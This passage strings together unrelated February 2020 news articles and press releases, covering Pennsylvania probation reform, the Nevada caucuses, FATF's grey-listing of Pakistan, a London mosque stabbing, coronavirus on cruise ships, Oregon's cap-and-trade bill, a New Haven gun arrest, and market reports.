Pennsylvanians like me, whove paid their debt to society and have earned an opportunity to move on with their lives. And thats partly why Pennsylvania has a higher incarceration rate per capita than several western nations. Despite the barriers I faced on probation, I can proudly say that Ive transformed my life in ways I never thought possible. Today, Im a business owner and a criminal justice reform activist. The latter has been made possible by the REFORM Alliance, which has provided me with the support I didnt receive from the criminal justice system and a platform on which to push for smarter justice policies. Im working with REFORM to pass HB 1555 and SB 14 in Pennsylvania because I know the barriers to success faced by people whove been caught in the system. These bills, both under consideration in the legislature, will create sensible, evidence-based changes to our probation system that make the commonwealths communities safer and end the revolving door of incarceration for people whove served their time and done whats been asked of them. This legislation incentivizes good behavior through earned time credits, prevents people from being thrown back in jail for certain noncriminal violations that dont impact public safety, saves taxpayer dollars, and reduces the probation population by helping people get the reentry services they need to lead productive, law-abiding lives. As someone whos landed on his feet after spending years in the system, my story doesnt have to be unique. Im fighting for these reforms because I believe that everyone deserves a second chance and should be treated like human beings. But until we fix the flaws in our broken system, too many people will continue to cycle through our prisons thanks to harsh punishments that dont fit the crime. We should be providing support to former inmates so they have the opportunity to get their lives back on track. We can only do that by addressing the problems in our probation system immediately. By coming together to pass probation reform, Pennsylvania lawmakers can make the commonwealth safer and more prosperous, and give countless families hope for the future. Dawud Bey is the Pennsylvania grassroots organizer at the REFORM Alliance. The number of early participants is nearly as high as the entire caucus count from 2016, when 84,000 Nevadans voted. Nearly 75,000 voters in Nevada participated early in the states Democratic US presidential nominating contest, the party said on Friday, a sign of a potentially large turnout in the first test for the candidates in the diverse western United States. Nevada on Saturday holds its caucuses, the third contest in the state-by-state battle to determine a Democratic challenger to Republican President Donald Trump in the November 3 election. The party said the majority of the early caucus voters were first time participants in the process. The number of early participants is nearly as high as the entire caucus count from 2016, when 84,000 Nevadans participated. The large early turnout might represent a positive sign for Senator Bernie Sanders of Vermont, who is relying on bringing in new voters to power his campaign. From the beginning, NV Dems has been committed to executing the most accessible, expansive, and transparent caucus yet in 2020, Alana Mounce, Nevada State Democratic Party executive director, said in a memo released Friday. To meet this goal, we enacted an unprecedented four-day early voting period for the caucus. We made materials available in three languages and had more than 80 early voting sites in convenient locations in communities across the state, Mounce added. Officials in Nevada have taken steps intended to avoid the chaos seen in Iowas caucuses this month in the first of the state nominating contests. They have pledged that the process for counting, recording and making public the voters choices will go smoothly. Among precautions, site leaders at caucuses will phone in their results and take photographs of their tabulations. The FATF is an inter-governmental body established in 1989 to combat money laundering, terrorist financing and other related threats to the integrity of the international financial system New Delhi: Global terror financing watchdog FATF on Friday decided continuation of Pakistan in the 'Grey List' and warned the country of stern action if it fails to check flow of money to terror groups like the LeT and the JeM, sources said. The decision was taken at the Financial Action Task Force (FATF) plenary in Paris. The FATF decided to continue Pakistan in the 'Grey List'. The FATF has also warned Pakistan that if it does not complete a full action plan by June, it could lead to consequences on its businesses, a source said. The plenary noted that Pakistan addressed only a few of the 27 tasks given to it in controlling funding to terror groups like the Lashkar-e-Taiba (LeT), the Jaish-e-Mohammad (JeM) and the Hizbul Mujahideen, which are responsible for a series of attacks in India. The FATF said Pakistan has to swiftly complete its full action plan by June, the source said. With Pakistan's continuation in the 'Grey List', it will be difficult for the country to get financial aid from the IMF, the World Bank, the ADB and the European Union, thus further enhancing problems for the nation which is in a precarious financial situation. If Pakistan fails to comply with the FATF directive, there is every possibility that the global body may put the country in the 'Black List' along with North Korea and Iran. India has been maintaining that Pakistan extends regular support to terror groups like the LeT, the JeM and the Hizbul Mujahideen, whose prime target is India, and has urged the FATF to take action against Islamabad. Pakistan is believed to have received strong backing from Malaysia but failed to impress western nations due to India's consistent efforts by providing materials and evidence on Pakistan's inaction to check funding to terror groups operating from its soil. Pakistan needed 12 votes out of 39 to exit the 'Grey List' and move to the 'White List'. To avoid the "Black List", it needs the support of three countries. The 'Grey Listing' of Pakistan came three days after a sub-group of the FATF recommended continuation of the country in it. The FATF meeting, from 16 to 21 February, was held a week after an anti-terrorism court in Pakistan sentenced Hafiz Saeed, the mastermind of the 2008 Mumbai attack and founder of the LeT, to 11 years in two terror financing cases. The Pakistani court's judgment came ostensibly to please the FATF and western countries so that the country can exit the 'Grey List'. Saeed, a UN-designated terrorist on whom the US has placed a $10 million bounty, was arrested on 17 July, 2019, in the terror financing cases. The 70-year-old fiery cleric is lodged at the high-security Kot Lakhpat jail in Pakistan. Pakistan has also recently informed the FATF that JeM founder Masood Azhar and his family are "missing". It has claimed that there were only 16 UN designated terrorists in Pakistan, of which "seven are dead". Out of the nine who are alive, seven had applied to the UN for exemption from financial and travel restrictions. In the last month's FATF meeting in Beijing, Pakistan got support of Malaysia and Turkey besides FATF current chair China. In the Beijing meeting, Pakistan provided a list of its action taken to comply with FATF directions. Pakistan was placed on the 'Grey List' by the FATF in June 2018 and was given a plan of action to complete by October 2019 or face the risk of being placed on the 'Black List'. The FATF is an inter-governmental body established in 1989 to combat money laundering, terrorist financing and other related threats to the integrity of the international financial system. It currently has 39 members, including two regional organisations the European Commission and the Gulf Cooperation Council. India is a member of the FATF consultations and its Asia Pacific Group. A man under suspicion of attempted murder after stabbing a worship leader on the shoulder at the London Central Mosque in Regents Park, London has been arrested by the police. According to London's Metropolitan Police's statement, officers were called to the mosque just where they found a man in his 70's who has injuries after being stepped. They further added that the victim has been taken to a hospital and that the injuries he sustained were not life-threatening. They also said that the incident is not to be considered terror-related. Per CNN, eyewitnesses told them that there were at least 100 people in the mosque when the attack happened and several people helped pin the assailant to the ground. In addition, some of the witnesses also claimed seeing the man attend in the mosque in recent weeks. On a video posted by Independent, the man was seen in a red hooded jacket being pinned down by a police officer and then escorted out of the mosque. In the police statement, it was stated that the suspect is currently being held in custody at a central London police station and that they already have set up a crime scene. Borris Johnson, Prime Minister of the United Kingdom said that the incident deeply saddened him, especially knowing that this happened inside a place of worship. He further added that his thoughts are with the victim and with everyone who has been affected by the unfortunate incident. Also read: Saudi-Led Military Coalition Send Air Strike over Yemen, Kills 31 Civilians Meanwhile, London Mayor Sadiq Khan reassured London's communities that acts of violence like this will not be tolerated in the city and that Londoners are entitled to feel safe in their place of worship. He also said that police are providing additional resources to the area. Although the man has been seen inside the mosque prior to the stabbing incident and was believed to have prayed inside the building before, advisor Azay Ahmad said that the guy was not a regular and he haven't seen him in the past 10 years except for the few visits recently. The stabbing incident happened just a day after news of a gunman opening fire at two shisha bars in Hanau, Germany, killing at least 9 people broke. According to Angela Merkel, the suspect in the shooting incident showed signs of racism. In view of this, Lord Nazir Ahmed, the first-ever Muslim life peer to be appointed to the chamber has asked people to take precautions and make sure that there is security in every Mosque during the time of prayers. Furthermore, the CEO of the Ramadhan Foundation, Mohammed Shafiq paid tribute to the local Muslims and police officers who made sure that the situation was under control and prevented it from escalating into more violence. He also added that even with the full facts, the result of the investigation is not yet released. Shafiq stressed that it is clear that Islamophobia is indeed real, posing a threat to cohesive communities, and that even in their place of worship they still aren't fully secure. Related news: Alleged Mexican National Spy of Russia Intercepted at Miami International Airport @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Declawing a cat in Michigan would be illegal under legislation introduced in the state House this week. House Bill 5508, sponsored by Rep. Nate Shannon, D-Sterling Heights, would ban any elective surgical procedure that prevents normal claw functioning in cats, including an onychectomy, a partial or complete phalangectomy or a tendonectomy. The ban would not apply if the procedure was medically necessary. Anyone violating the ban would be subject to up to $1,000 in fines under the legislation. Declawing is considered a controversial procedure by many veterinary and animal rights organizations, as its often not medically necessary and can cause long-term medical issues for the cat. Last July, New York became the first state in the U.S. to banned declawing, and several countries have also banned the practice, according to Shannons office. Owning a pet is a big decision but abusing an animal and causing them long-term persistent pain to make caring for them easier for the pet owner is unacceptable, Shannon said in a statement. I want to encourage responsible and ethical pet ownership with this bill. The American Veterinary Medical Association defines declawing as a surgical amputation and discourages its use in favor of non-surgical alternatives. Scratching posts or pads, regularly trimming claws, nail caps and other environmental enrichments can help reduce undesirable scratching behaviors without declawing, the American Association of Feline Practitioners states. Shannons bill was referred to the House Agriculture Committee for review. This is just the latest in a series of cruise promotions to land in my inbox this week. Oh to be in charge of a cruise line in 2020. On Valentines Day, Sir Richard Branson waxed lyrical about the delivery of Scarlet Lady - Virgin Voyages very first ship. She sets off on a series of Caribbean itineraries in March. But, beneath that veneer of enthusiasm, what was he really thinking? Of all the times to launch a luxury cruise line, I had to choose the middle of a severe acute respiratory syndrome outbreak is one guess. Thanks to 621 confirmed cases (and counting), and tragically now two deaths, on the quarantined Diamond Princess in Yokohama, Japan has the second highest concentration of coronavirus (COVID-19) outside China. But its not just Princess Cruises that has had to reach for its Emergency Response Plan. Dream Cruises World Dream was quarantined at Kai Tak Cruise Terminal in Hong Kong after three passengers who had previously been onboard tested positive for the virus. Thousands of guests were allowed to disembark five days later. Holland America Lines MS Westerdam was turned away from no less than five Asian ports before Cambodia allowed her to dock and some passengers to disembark last Thursday. The 20 passengers who had fallen ill on MS Westerdam were eventually tested negative for COVID-19 although one has since tested positive at Kuala Lumpur airport, raising concerns for the hundreds who had already dispersed to three different continents. Earlier in the month, around 7,000 people were being held off the coast of Rome due to a suspected COVID-19 case on Costa Cruises brand spanking new Costa Smeralda. It was soon given the all-clear. Meanwhile, Royal Caribbeans Anthem of the Seas departure from New Jersey was delayed while passengers who had recently travelled from mainland China were screened. Again, none were tested positive for the virus and it was able to continue an albeit shortened itinerary. For the 45.6 billion dollar cruise industry, COVID-19 is a PR disaster of epic proportions. Bookings are said to be down 10 to 15 percent year-on-year and, while the almost-a-pandemic continues, the people who already hate the thought of overcrowding and confined quarters, arent going to be converted into first-time cruisers anytime soon. For the fact of the matter is that cruise ships tend to cram thousands of people into a relatively small space and are therefore good breeding grounds for illness. On Diamond Princess they tried to contain the virus from spreading by confining guests to their rooms with mask-wearing crew members stopping by with meals, medication, and fresh towels. There are, of course, concerns over whether this method has actually worked given the continuing frightening number of confirmed cases. One theory points to the crew, who share both cabins, canteens and washrooms, and are unable to self-isolate if they become infected (more than 50 crew have tested positive) and another points to a lack of proper filtration in the air conditioning systems. What is abundantly clear is that the cruise industry isnt quite sure what to do; the quarantining of entire ships is thus far unprecedented. A current statement from Cruise Lines International Association (CLIA), the voice of the global cruise industry, details some enhanced protocols, including denying boarding to all persons who have travelled from, visited or transited via airports in China, including Hong Kong and Macau, within 14 days before embarkation, and denying boarding to all persons who, within 14 days before embarkation, have had close contact with, or helped care for, anyone suspected or diagnosed as having COVID-19, or who is currently subject to health monitoring for possible exposure to COVID-19. CLIA Members must also conduct the preboarding screening necessary to effectuate these prevention measures, and provide enhanced screening and initial medical support to any persons exhibiting symptoms of suspected COVID-19. CLIA said it would continue to closely monitor for new developments related to the coronavirus and would modify its policies as necessary. It also wanted to point out that the cruise industry is one of the most well-equipped and experienced when it comes to managing and monitoring health conditions of those onboard, with outbreak prevention and response measures in place year-round, and medical professionals available onboard 24/7. Certainly, cruise ships have been battling with another pesky virus, norovirus, for years. In 2019 alone, there were ten gastrointestinal illness outbreaks on cruise ships, eight of which were confirmed to be norovirus. However, dont start supposing that norovirus is a cruise ship illness - its not. It can just as easily infect schools, colleges and care homes, but the cruise industry is the only one who is required to officially report and document it. And, at least you have immediate access to onboard medical care. The industry has shaken off many a crisis over the years. In 2012, 32 people lost their lives when Costa Concordia ran aground off the coast of Tuscany. People speculated that this would mark the death knell of the cruise business - it didnt. The Zika virus caused a wave of cancellations in 2016, and there was the infamous Carnival Triumph poop cruise in 2013 when fire resulted in a loss of power, propulsion, and sewage treatment. The cruise industry has bounced back from them all virtually unscathed. Will coronavirus be the same? Truthfully, we still dont know how COVID-19 will play out. At the time of writing there were 75,752 confirmed cases and 2,130 deaths. The vast majority of these were in mainland China (74,578 and 2,119 respectively). However, rightly or wrongly, the spotlight has been disproportionally shone on the cruise ships, consumer confidence has been knocked, and it could well be the greatest challenge in the history of the industry. Latest information and guidance: https://www.who.int/emergencies/diseases/novel-coronavirus-2019 Photo: Glacier Media A handful of residents continue to live in a Victoria-area highrise deemed unsafe for occupation more than a month after the building owner asked all tenants to leave. Most units in Danbrook One in Langford appear to be empty, but a bike on an upper-floor balcony, patio furniture and curtains indicate several remain occupied. Toronto-based Centurion Property Associates issued a notice to vacate on Jan. 16 to the roughly 35 units still occupied in the 90-unit Danbrook One building. That notice came almost a month after the City of Langford revoked the buildings occupancy permit due to problems with the buildings gravity system and lateral system, which affects how the structure responds to an earthquake. Residents have not paid rent since Langford revoked the buildings occupancy permit on Dec. 20, because Centurion cannot legally charge rent without the permit, said president Greg Romundt. The company cancelled all pre-authorized payments for January onward and reimbursed residents for rent already paid for the period from Dec. 21 to 31. We do believe that some residents, although not many, are taking advantage of the situation because we arent charging rent. That is both frustrating and unfortunate, Romundt said in an email. He said the company does not have an exact count of how many remain in the building, because not all residents have been in touch, but most have indicated they will move out by the end of February. Romundt said Centurion will have no choice but to evict those who remain. While Centurion does not yet have a remediation plan, Romundt said that anyone occupying apartments could delay necessary repair work. On Dec. 18, Langford questioned the structural integrity of the 11-storey highrise after being tipped off by the Engineers and Geoscientists B.C. association, which had been investigating a complaint since April. Two days later, an independent engineering report for the municipality confirmed serious safety concerns, and the municipality revoked the buildings occupancy permit. About 400 temporary shores were installed in the building on Dec. 23 and 24. However, that work was a temporary backup measure, said Romundt. Romundt estimated the building will not be ready for occupation until late summer or early fall. The Legislatures lawyers issued a indecisive opinion this week on whether Democrats controversial cap and trade climate bill should be considered a tax and if so, what additional constitutional restrictions apply to how it should be voted upon and its revenues spent. The opinion by staff attorney Seth Nickerson was in response to questions sent to the Legislative Counsels office by Rep. Shelly Boshart Davis, R-Albany. Boshart Davis forwarded the opinion to all lawmakers Thursday morning, noting that it states clearly that SB 1530 is a tax (yet somehow not a tax).As you continue to consider your vote on this legislation, I would encourage you to read over this opinion and be aware of the significant constitutional hurdles this bill faces in its current form. Republicans have raised a variety of constitutional objections to both the legislative process being used to pass the controversial climate change legislation, as well as how the money it raises would be used. And its clear that if any version of the bill ends up passing, it likely will end up being challenged in court. Democrats, meanwhile, want the broadest discretion possible in both areas of the policy, which would raise significant sums of money through the sale of emission allowances to companies in the transportation fuels, utility and industrial sector. Democrats have consistently argued that the proposal does not amount to a bill for raising revenue. That was the overarching question Boshart Davis posed to the Legislatures lawyers: Does the bills required acquisition of emissions allowances amount to a tax? The answer has significant implications. Tax bills are supposed to originate in the House of Representatives. Senate Bill 1530 did not. Tax bills require a three-fifths majority vote in the House and Senate to pass. Democrats have a supermajority in both houses, but its unclear they can hold that together for a vote on a carbon bill. They want a simple majority vote on SB 1530. The Oregon constitution also prohibits lawmakers from including emergency clauses in any bill that regulates taxation. Emergency clauses mean the legislation takes effect with the governors signature. SB 1530 includes such a clause because Democrats want to start implementing the bill immediately on passage. Republicans, meanwhile, want the bills implementation delayed until Jan. 1 of 2021, as is the case for bills without emergency clauses. Ultimately, Republicans want the legislation referred to the ballot, so voters can weigh in. So is it a tax? Nickersons answer was 18 pages long, but it boils down to this: It depends. In his opinion letter, Nickerson wrote that the bill was likely not an act regulating taxation. Although SB 1530-A results in state revenues, the charges that generate the revenues have a regulatory purpose and the revenues are expended in a way that furthers that purpose. In support of the argument, Nickerson cited the decision by California courts that the states cap and trade system is not a tax because when an entity purchases an emission allowance, they receive a tradable, valuable asset: an authorization to emit one ton of carbon dioxide equivalent. In lawyerly fashion, however, Nickerson equivocated: There are strong arguments that could persuade a court to depart from the analysis that we believe a court is likely to adopt. Consequently, our answer cannot be free from substantial doubt. And what of the emergency clause? Can Democrats put it in the bill? We believe the answer is, more likely than not, yes, Nickerson wrote. However, we caution that Oregon courts have never fully articulated how to analyze whether a measure is an act regulating taxation. Oregon constitution also restricts the use of any motor vehicle fuel taxes exclusively for the construction, maintenance and operation of public roads. Boshart Davis asked legislative counsel whether forcing fuel providers to buy emissions allowances would amount to a tax for that purpose. On this question, Nickerson had a clear conclusion. We believe that the answer is yes, he wrote, adding that the meaning of the term tax is interpreted broadly in that article of the constitution. A court would likely hold that state proceeds from the sale of allowances at auction are revenue from a tax with respect to, or measured by, the use of a motor vehicle. Again, Democrats would like more discretion on how they use those funds, which will comprise the lions share of money raised by the program. Theyd like to use it for electric vehicle rebates, for instance, or vehicle charging infrastructure. But according to this analysis, at least, they wont have that option. The money is constitutionally restricted to the Highway Trust Fund. Boshart Davis pointed out that Legislative Counsel issued an opinion last session that revenues raised via the sale of allowances related to natural gas are also dedicated by the constitution to the Common School Fund. Combined, she said the state would be left with a fraction of the revenues proponents are counting on. Theres little question that SB 1530 is going to be found unconstitutional or, at the bare minimum, spend years being fought in the courtroom, she told lawmakers. I submit that we should not continue to advance this legislation knowing full well that these significant challenges exist. Democrats have included an expedited review by the Oregon Supreme Court in the bill. - Ted Sickinger; 503-221-8505; @tedsickinger Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. NEW HAVEN A city man was arrested after allegedly being caught with an AR pistol and dozens of rounds of ammunition after officers investigated a tip from Virginia, according to the New Haven Police Department. Dante Hammie, 33, of Bassett Street, is charged with criminal possession of a firearm, illegal possession of a large-capacity magazine and illegal possession of an assault weapon. According to his report on the matter, Detective Freddy Salmeon received a call from a Virginia state trooper soon after 7 p.m. on Feb. 12, who told him he had stopped a Dante Hammie, who was in possession of an AR-Pistol with approximately 200-300 rounds of ammunition, but let him go, as he was not a convicted felon and thus was not violating Virginia law. Hammie, driving a white Nissan Versa, told the trooper he was headed to New Haven, according to a supplemental report. Salmeon found Hammie is disqualified from owning a handgun in Connecticut due to a prior conviction, according to the report. New Haven officers contacted the New York Police Department, who later indicated that the vehicle Hammie was driving had crossed the George Washington Bridge, heading north, just before midnight on Feb. 12, according to a supplemental report. At approximately 10 a.m., Officer Paul Vitale found the Nissan outside the Bassett Street residence. Patrol officers surrounded the residence and did not let anyone enter or exit the home at that point, according to the supplemental report. Officer Scott Shumway noted that he previously had responded to the residence for a call of service. Detective Joe Landisio watched body camera footage from that call and found Hammie had been present at the time and noted he lived in the residence. Hammie exited the home soon after 10:39 a.m., according to Sanchezs report. He was cooperative with police, allowing them to search his residence and vehicles. Hammies girlfriend told police he had discarded the firearm after being stopped in Virginia, according to the report. However, Sanchez noticed while searching a vacant apartment in the residence a hatchway in the ceiling that had been left partially open, according to the report. Detective Sanchez was able to prop himself up into the hatchway. The attic was dirty, and it appeared that items inside of the attic had been there for an extended amount of time, said an officer in the supplemental report. Using a flashlight, Detective Sanchiez illuminated the attic and located (1) toothbrush case, (1) package containing mens underwear, (1) AR15 style firearm, multiple magazines, and multiple boxes of ammunition. These items appeared as if they had just recently been thrown there, as dust and dirt was not yet settled on top of them as it had on other items in the attic. Hammie then told police he put the firearm into the attic when he observed officers outside of his residence, and said it was the same weapon as he had in Virginia, according to the report. He was arrested and brought to the departments detention center, according to the report. Police seized the firearm after obtaining a search and seizure warrant for the attic, according to the report, as well as two magazines, each loaded with more than 30 rounds, and three boxes of ammunition. The toothbrush case was placed with Hammies personal items in the detention center, according to the report. Hammie is free on a $50,000 bond, according to judicial records. He is next scheduled to appear in court Feb. 26. william.lambert@hearstmediact.com Technavio has been monitoring the data center server market and it is poised to grow by USD 56.54 billion during 2019-2023, progressing at a CAGR of 13% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200221005019/en/ Technavio has announced its latest market research report titled Global Data Center Server Market 2019-2023 (Graphic: Business Wire) Enterprise server refresh cycles has been instrumental in driving the growth of the market. Request a free sample report Data Center Server Market 2019-2023: Segmentation Data Center Server Market is segmented as below: Type Rack Server Blade Server Tower Server Microserver Open Compute Project Server Geographic segmentation APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR31132 Data Center Server Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our data center server market report covers the following areas: Data Center Server Market Size Data Center Server Market Trends Data Center Server Market Industry Analysis This study identifies the use of AI for server workload optimization as one of the prime reasons driving the data center server market growth during the next few years. Data Center Server Market 2019-2023: Vendor Analysis We provide a detailed analysis of around 25 vendors operating in the data center server market, including some of the vendors such as Dell Technologies, Hewlett Packard Enterprise Development LP, IBM, Inspur and Lenovo. Backed with competitive intelligence and benchmarking, our research reports on the data center server market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Data Center Server Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist data center server market growth during the next five years Estimation of the data center server market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the data center server market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of data center server market vendors About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005019/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ DUBLIN, Feb. 21, 2020 /PRNewswire/ -- The "Invisible Orthodontics Market - Global Outlook and Forecast 2020-2025" report has been added to ResearchAndMarkets.com's offering. The global invisible orthodontics market is expected to grow at a CAGR of over 23% during the period 2019-2025. Key Market Insights The analysis of the invisible orthodontics market provides sizing and growth opportunities for the period 2020-2025. Provides comprehensive insights on the latest industry trends, forecast, and growth drivers in the market. Includes a detailed analysis of growth drivers, challenges, and investment opportunities. Delivers a complete overview of segments and the regional outlook of the market. Offers an exhaustive summary of the vendor landscape, competitive analysis, and key strategies to gain competitive advantage. The global orthodontics industry is expected to witness significant growth due to the rapid shift from traditional & visible metal braces to invisible ones such as lingual and clear aligners. Several orthodontic solutions are being introduced due to the growing demand for treatment from the teenager and young adult population segment. The market is likely to grow mainly due to the increase in misaligned teeth or malocclusion disorders and the high adoption of the latest generation of invisible orthodontic appliances. Advanced braces are easy to use, consume less time to fix, reduce tooth decay, and help in proper chewing of food. Hence, these factors are likely to contribute to market growth. The market has witnessed significant growth in terms of sales volume, primarily due to the growing prevalence of malocclusion and increasing demand for sensitive, accurate dental procedures. The wider availability of invisible braces is likely to boost the global invisible orthodontics market during the coming years. Besides, the availability of cost-effective and high-quality dental care in developing countries, patients from developed regions come here with the help of dental tourism. Invisible Orthodontics Market: Segmentation This research report includes a detailed segmentation by product, patient group, end-users, and geography. The clear aligners segment is expected to grow at the fastest CAGR during the forecast period due to the increasing number of tooth misalignment disorders. In the US, over 70 million adults and teenagers visit the dentist to fix issues to traditional brackets. They prefer clear aligners as they are nearly invisible, removable, easy to clean, and offer a reduced chance of tooth decay. The increasing need for looking attractive with safe orthodontic products is expected to drive the growth of the segment. The ceramic braces segment is likely to grow at a moderate rate due to the rise in malocclusion. Ceramic braces are likely to be preferred by teenagers and adults to ensure rigid and absolute cooperation between now healthy and mature teeth. The growing demand for aesthetically attractive braces for orthodontic treatment is expected to drive the demand for lingual braces. These braces are fixed at the back of the teeth, which make them nearly invisible from the front. The braces offer customized options depending on the patient's requirements and provide high comfort. Advances in orthodontic technology have made treatment more comfortable and less noticeable. These cosmetic dentistry products are now designed with CAD/CAM and 3-D technology, hence offered precise and accurate solutions for misaligned teeth in adults. Advanced treatment options are focused on minimizing the appearance of the appliance to fit any lifestyle of adults better. The children & adolescent segment is likely to grow due to the increasing incidence of malocclusion in teenagers and adolescents. Spacing, crowding, bite, and alignment can easily be treated with advanced treatment options such as invisible orthodontics. The application of clear aligners, ceramic, and lingual braces offers durability and improves chewing and digestion. Teens are conscious about their looks during the high schools, and such invisible orthodontics are expected to gain popularity in this patient group. The dental services industry is likely to witness a trend of consolidation and the corresponding rise in DSOs, especially in developed countries such as the US, Germany, and the UK. Dental and orthodontic clinics are expected to grow at the fastest CAGR on account of the increasing number of private clinics as well as solo dental practices, especially in developing and emerging countries. Large dental clinics are entering into partnerships with invisible orthodontics vendors, thereby boosting growth. Patients with malocclusion disorders prefer to receive a highly personalized tooth straightening treatment from dental clinics, thus bolstering their share in the market. Insights by Geography North America is expected to grow at a significant rate due to a large pool of population with dental disorders such as malocclusion and high demand for aesthetic products for dental treatment. The demand is likely to be driven by advanced healthcare infrastructure, high-quality product availability, and extensive reach of innovative products. Moreover, the region has a presence of major key vendors offering a diverse range of aesthetic dentistry products. The US orthodontics market size is expected to grow during the forecast period. The European region is likely to grow due to the presence of sophisticated healthcare infrastructure, high awareness levels of advanced orthodontics, and increased focus on technological advancements. The favorable reimbursement guidelines and infrastructure for the guidance of using clear aligners are the other major factors expected to have a positive impact on market growth. Germany, the UK, France, Spain, and Italy are the major revenue contributors in Europe. The increasing number of M&As and the growing accessibility of dental care are expected to drive the growth of the APAC market. China, Japan, South Korea, India, and Australia are the major revenue contributors in the region. The invisible orthodontics market in China is likely to grow significantly on account of the increasing number of dentists and the expanding presence of key players, coupled with a large pool of patient populations with a high incidence of tooth misalignment challenges. Insights by Vendors The global market is highly competitive and characterized by the presence of several global regional and local players. The dominant players have a wide geographic footprint, diversified product portfolio, and a strong focus on innovation and research activities. These players are expected to dominate the market with the introduction of safe and efficient invisible orthodontics products in the market. Global players are likely to focus on pursuing inorganic growth strategies such as acquisitions and strategic partnerships to expand their presence, enhance product portfolio, and improve expertise in the market. Prominent players are expected to offer the latest generation products, such as clear aligners. Although the market offers significant growth opportunities due to sufficiently available substitute products and the dominance of major vendors dominance in the market. Key Topics Covered 1 Research Methodology 2 Research Objectives 3 Research Process 4 Scope & Coverage 4.1 Market Definition 4.1.1 Inclusion 4.1.2 Exclusions 4.2 Base Year 4.3 Scope of the Study 4.3.1 Market Segmentation by Geography 5 Report Assumptions & Caveats 5.1 Key Caveats 5.2 Currency Conversion 5.3 Market Derivation 6 Market at a Glance 7 Introduction 7.1 Malocclusion: An Overview 7.1.1 Background 7.1.2 Invisible Orthodontics 7.1.3 Invisible Orthodontics Market Snapshot 8 Market Growth Enablers 8.1 Increasing Incidence of Malocclusion 8.2 Higher Acceptance of Invisible Orthodontics in Teenagers 8.3 Increasing Preference for Cosmetic Dentistry 8.4 Higher Penetration of Clear Aligners in Developed Regions 9 Market Growth Restraints 9.1 Risks & Complications Associated with Invisible Orthodontics 9.2 Lack of Reimbursement Coverage 9.3 High Cost of Invisible Orthodontics 10 Market Opportunities and Trends 10.1 Increase in Adoption of CAD/CAM Technology 10.2 Increasing Worldwide Access to Orthodontic Services 10.3 Growing Popularity of Dental Tourism 10.3.1 Popular Dental Tourism Destinations 10.4 Vendors Growing Focus on Customized Invisible Orthodontic Appliances 11 Market Landscape 11.1 Market Overview 11.2 Market Size & Forecast 11.2.1 By Geography 11.2.2 By Product 11.2.3 By Patient Group 11.2.4 By End-users 11.3 Five Forces Analysis 11.3.1 Threat of New Entrants 11.3.2 Bargaining Power of Suppliers 11.3.3 Bargaining Power of Buyers 11.3.4 Threat of Substitutes 11.3.5 Competitive Rivalry 12 By Product 12.1 Market Snapshot & Growth Engine 12.2 Market Overview 12.3 Clear Aligners 12.4 Ceramic Braces 12.5 Lingual Braces 13 By Patient Group 13.1 Market Snapshot & Growth Engine 13.2 Market Overview 13.3 Adults 13.4 Children & Adolescents 14 By End-users 14.1 Market Snapshot & Growth Engine 14.2 Market Overview 14.3 Dental & Orthodontic Clinics 14.4 Hospitals 14.5 DSOs 15 By Geography 15.1 Market Snapshot & Growth Engine 15.2 Overview 16 North America 17 Europe 18 APAC 19 Latin America 20 Middle East & Africa 21 Competitive Landscape 21.1 Competition Overview 21.2 Market Share Analysis 21.2.1 Align Technology 21.2.2 Danaher (Ormco) 21.2.3 3M 21.2.4 Institut Straumann 21.2.5 Dentsply Sirona 22 Key Vendors 22.1 Align Technology 22.1.1 Business Overview 22.1.2 Major Product Offerings 22.1.3 Key Strengths 22.1.4 Key Strategies 22.1.5 Key Opportunities 22.2 Danaher 22.3 3M 22.4 Institut Straumann 22.5 Dentsply Sirona 23 Other Prominent Vendors 23.1 American Orthodontics 23.1.1 Business Overview 23.1.2 Major Product Offerings 23.2 Clearbite Aligners 23.3 Clearpath Healthcare Services 23.4 Dynaflex 23.5 FORESTADENT Bernhard Frster 23.6 Geniova Technologies 23.7 Henry Schein Orthodontics 23.8 Orthos 23.9 SCHEU-DENTAL 23.10 DB Orthodontics 23.11 Biomers Products 23.12 Great Lakes Dental Technologies 23.13 G&H Orthodontics 23.14 Rocky Mountain Orthodontics 23.15 Shanghai EA Medical Instruments 23.16 Smiledirectclub 23.17 TP Orthodontics 23.18 Voodoo Manufacturing For more information about this report visit https://www.researchandmarkets.com/r/gfewz0 Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com Harvey Weinstein leaves court with his attorney Donna Rotunno on 19 February 2020 in New York City: Jeenah Moon/Getty Images Harvey Weinsteins leading defence attorney has accused a rival lawyer of being horrible to her. Donna Rotunno, one of the most high-profile members of Weinsteins legal team, voiced her complaints in court on Friday. According to Variety, Rotunno addressed Judge James Burke before the jury entered the room on its fourth day of deliberations. Rotunno alleged that Gloria Allred, who represents three women who have taken the witness stand in the trial, has been making statements about her to the 